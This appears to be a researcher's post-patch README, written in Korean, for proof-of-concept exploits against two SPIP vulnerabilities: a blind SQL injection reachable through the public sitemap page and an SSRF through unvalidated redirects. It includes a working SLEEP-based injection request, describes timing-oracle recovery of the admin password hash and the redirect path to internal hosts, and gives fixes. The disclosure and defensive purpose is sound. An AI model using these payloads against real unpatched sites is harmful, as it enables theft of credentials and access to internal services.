
SPIP의 CVE-2026-72708(블라인드 SQLi) 및 CVE-2026-109378(SSRF)에 대한 PoC로, 두 취약점 모두 4.4.18에서 수정되었습니다.
SPIP에서 제가 보고한 두 가지 취약점에 대한 재현 가능한 개념 증명 자료이며, 두 취약점 모두 4.4.18에서 수정되었습니다.
| CVE | 분류 | 인증 | CVSS 4.0 | 싱크 |
|---|---|---|---|---|
| CVE-2026-72708 | 블라인드 SQL 인젝션 (CWE-89) | 없음 | 8.7 높음 | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | HTTP 리다이렉트를 통한 SSRF (CWE-918) | 낮음 | 5.3 중간 | ecrire/inc/distant.php:567-582 |
두 취약점 모두 2026-08-05에 [email protected]으로 보고되었습니다. SPIP은 2026-08-10에 4.4.18에서 수정 사항을 배포했습니다. 이 자료는 패치 이후에 공개되었으며, 바로 그것이 이 자료를 공개하는 이유입니다.
여기의 모든 것은
127.0.0.1에 바인딩된 일회용 로컬 랩 환경에서 실행됩니다. 소유하지 않은 호스트를 대상으로 지정하지 마십시오.
spip_mysql_cite()는 대상 컬럼이 날짜 유형이고 값이 /^\w+\(/와 일치할 때 값을 따옴표 없이 반환합니다:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
정규식은 NOW()가 문자열이 아니라 함수 호출로 통과되도록 의도된 것이었습니다. 이 정규식은 함수 호출의 형태를 검사할 뿐 이름은 검사하지 않으므로, SLEEP(5), IF(...), UPDATEXML(...)도 모두 이를 만족합니다.
도달 가능한 싱크는 모든 설치에 포함되어 제공되며 datetime 컬럼과 비교하는 squelettes-dist/sitemap.xml.html의 {annee?} 조건입니다. 사이트맵은 공개되어 있으므로 계정이 필요하지 않습니다:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
실행:
bash CVE-2026-72708-sqli/poc_sqli.sh
스크립트는 싱크를 입증하고, SLEEP() 인자를 추적하는 지연을 보여준 뒤,
순수 타이밍 오라클을 통해 관리자 비밀번호 해시의 처음 열두 문자를 복구하고
그 결과를 데이터베이스와 대조하여 검증한다.
SLEEP()는 WHERE
절에 위치하며, MySQL은 이를 행마다 평가한다. 게시물이 하나도 없으면 절대 실행되지 않는다.
lab/seed.sh는 게시된 글 하나를 삽입한다.&z=<random>)를 추가하라. 스크립트는 이미 그렇게 하고 있다.SPIP에는 정말로 잘 만들어진 SSRF 가드인 valider_url_distante()가 있다: 스킴
화이트리스트, 사설 및 예약 대역, 링크 로컬, DNS 리바인딩, 자격 증명
URL. 호출자들은 가져오기 전에 이를 실행한다.
그런 다음 recuperer_url()은 최대 열 번의 리다이렉트를 따라가며, 가져오려는
대상을 다시 검증하지 않는다:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
검증을 통과한 호스트로부터의 302 응답 하나가 가드가 차단하도록 설계된 모든 대상, 169.254.169.254를 포함하여, 로 곧바로 이어진다.
실행하기:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
스크립트는 가드가 일곱 개의 적대적 URL을 올바르게 거부하는 모습을 보여준 뒤, 그 URL 중 하나를 리다이렉트를 통해 가져와 내용을 다시 출력합니다.
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
데이터베이스에는 호스트 포트가 없습니다. 웹 컨테이너는 루프백에서만 수신 대기합니다.
docker compose down -v로 정리하세요.
SSRF 경로를 실행하려면 대체 리디렉터와 내부 전용 서비스도 필요합니다:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php는 ?to=가 말하는 대상으로 302만 내보낸다. 실제 공격에서는 그 역할을
가드가 기꺼이 허용하는 공용 호스트가 맡는다.
각 디렉터리의 requests/에는 위 실행 중에 와이어에서 캡처한 원시 HTTP 교환이
들어 있으며, 단계마다 .req 하나와 .res 하나씩 있다. .req를 그대로 Burp Repeater에
붙여넣으면 된다.
SQLi의 경우 흥미로운 쌍은 sqli-03-oracle-true(2.051초)와
sqli-04-oracle-false(0.049초)이다. 같은 질문에 임계값을 하나 옮겼을 뿐이고, 답은 응답 시간의 차이다.
본문은 동일하다.
SSRF의 경우 ssrf-02-internal-hits.log는 내부 서비스의 액세스 로그로, SPIP가 방금
확인을 거부했던 호스트에 도달한 것을 보여준다.
SQL 인젝션의 경우, 느슨한 정규식을 화이트리스트로 교체한다:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
ecrire/req/sqlite_generique.php에도 동일한 변경 사항을 적용하세요.
SSRF: 리다이렉트 대상으로 이동하기 전에 유효성을 검사하세요:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
또는 두 가지를 모두 포함하는 4.4.18로 업그레이드하십시오.
CVE-2026-72708은 **Lexfo / Ambionics의 Franck Chevalier (Wayko)**가 독립적으로 공동 발견했으며, 그는 동일한 싱크와 동일한 비인증 진입점을 발견하고 CVE-2026-72709 및 CVE-2026-72710을 통해 원격 코드 실행에 이르는 전체 체인을 구축했습니다. 그들의 writeup은 더 깊이 있는 기술 문서이며, 그들의 도구는 ambionics/spip-exploits에 있습니다.
CVE-2026-109378은 단독으로 보고되었습니다.
MIT. 방어자, 감사자, 그리고 열다섯 글자짜리 정규식이 왜 8.7점의 가치가 있게 되었는지 이해하고 싶은 모든 사람을 위해 공개되었습니다.
-- ka3n1x